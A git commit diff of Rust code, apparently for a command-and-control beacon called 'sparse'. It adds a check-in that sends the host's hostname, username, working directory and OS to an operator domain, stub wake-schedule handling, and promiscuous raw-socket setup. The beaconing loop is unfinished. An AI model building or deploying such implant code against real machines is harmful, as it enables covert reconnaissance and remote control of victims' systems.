feat: event management and websocket for updates

This commit is contained in:
Andrew Rioux
2025-02-22 16:04:15 -05:00
parent 005048f1ce
commit faaa4d2d1a
48 changed files with 1409 additions and 204 deletions

View File

@@ -26,7 +26,13 @@ pub struct BeaconInterface {
pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
const OPERATING_SYSTEM: &'static str;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
async fn get_username(&self) -> Result<String, error::BeaconError<Self::Error>>;
async fn get_hostname(&self) -> Result<String, error::BeaconError<Self::Error>>;
}

View File

@@ -52,6 +52,8 @@ where
}
}
pub type SClient<T, B> = Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>;
pub async fn obtain_https_client<T, B>(
adapter: &T,
parameters: &Parameters,

View File

@@ -29,4 +29,12 @@ where
Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
#[error("http error from server")]
SparseServerHttpError(http::StatusCode),
#[error("message pack encode error")]
RmpSerdeEncode(#[from] rmp_serde::encode::Error),
#[error("message pack decode error")]
RmpSerdeDecode(#[from] rmp_serde::decode::Error),
#[error("http error")]
Hyper(#[from] hyper::Error),
}

View File

@@ -1,11 +1,14 @@
use sparse_actions::payload_types::Parameters;
use http_body_util::{BodyExt, Empty};
use hyper::Request;
use http_body_util::{BodyExt, Full};
use hyper::{Request, Method};
use sparse_actions::messages;
mod callback;
mod socket;
mod tcp;
mod params;
pub mod adapter;
pub mod error;
@@ -19,6 +22,37 @@ pub fn install_rustls() {
let _ = rustls::crypto::ring::default_provider().install_default();
}
pub async fn make_request<A, Req, Resp>(
client: &callback::SClient<A, Full<bytes::Bytes>>,
uri: hyper::Uri,
req_body: Req
) -> Result<Resp, BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
Req: serde::Serialize + Clone + Send + Sync + 'static,
Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static,
{
let mut body_buf = Vec::new();
req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?;
let req = Request::builder()
.method(Method::POST)
.uri(uri)
.header("content-type", "application/msgpack")
.body(Full::<bytes::Bytes>::from(body_buf))?;
let resp = client.request(req).await?;
if !resp.status().is_success() {
return Err(BeaconError::SparseServerHttpError(resp.status()));
}
let body = resp.into_body();
let body = body.collect().await?;
rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into)
}
pub async fn run_beacon_step<A>(
host_adapter: A,
params: Parameters,
@@ -26,19 +60,54 @@ pub async fn run_beacon_step<A>(
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
{
let client = callback::obtain_https_client(&host_adapter, &params).await?;
let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string());
let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string());
for _ in 1..5 {
let req = Request::builder()
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
.body(Empty::<bytes::Bytes>::new())?;
let resp = client.request(req).await?;
let mut config: messages::BeaconConfig = {
let client = callback::obtain_https_client(&host_adapter, &params).await?;
println!("{:?} {:?}", resp.version(), resp.status());
let body = resp.into_body();
let body = body.collect().await;
println!("{:?}", body);
dbg!(&params.beacon_identifier);
make_request(
&client,
format!("https://{}/checkin", params::domain_name::<A>(&params)?).parse()?,
messages::RegisterBeacon {
beacon_id: std::str::from_utf8(&params.beacon_identifier)?.to_owned(),
template_id: params.template_id,
cwd: std::env::current_dir()?,
operating_system: A::OPERATING_SYSTEM.to_string(),
userent: userent.clone(),
hostname: hostname.clone()
}
).await?
};
loop {
// let client = callback::obtain_https_client(&host_adapter, &params).await?;
use messages::RuntimeConfig as RC;
let target_wake_time = match &config.runtime_config {
RC::Oneshot => { break; },
RC::Random { interval_min, interval_max } => {},
RC::Regular { interval } => {},
RC::Cron { schedule, timezone } => {
}
};
}
// for _ in 1..5 {
// let req = Request::builder()
// .uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
// .method()
// .body(Empty::<bytes::Bytes>::new())?;
// let resp = client.request(req).await?;
// println!("{:?} {:?}", resp.version(), resp.status());
// let body = resp.into_body();
// let body = body.collect().await;
// println!("{:?}", body);
// }
Ok(())
}

View File

@@ -0,0 +1,12 @@
use sparse_actions::payload_types::Parameters;
use crate::adapter::BeaconAdapter;
use crate::error::BeaconError;
pub fn domain_name<'a, T>(params: &'a Parameters) -> Result<&'a str, BeaconError<T::Error>>
where
T: BeaconAdapter,
{
std::str::from_utf8(&params.domain_name[..params.domain_name_length as usize])
.map_err(Into::into)
}

View File

@@ -0,0 +1,21 @@
use sparse_actions::payload_types::Parameters;
use crate::adapter::BeaconAdapter;
use crate::error::{AdapterError, BeaconError};
pub trait UsableParameters<T>
where
T: BeaconAdapter,
{
fn domain_name_str(&self) -> Result<&str, BeaconError<T::Error>>;
}
impl<T> UsableParameters<T> for Parameters
where
T: BeaconAdapter,
{
fn domain_name_str(&self) -> Result<&str, BeaconError<T::Error>> {
std::str::from_utf8(&self.domain_name[..self.domain_name_length as usize])
.map_err(Into::into)
}
}

View File

@@ -25,8 +25,6 @@ impl RawSocket {
let mtu = a_interface.mtu as usize + if cfg!(unix) { 14 } else { 0 };
dbg!(promisc);
lower.set_promisc(promisc)?;
lower.set_buffer_size(mtu as i32)?;
lower.set_non_blocking(true)?;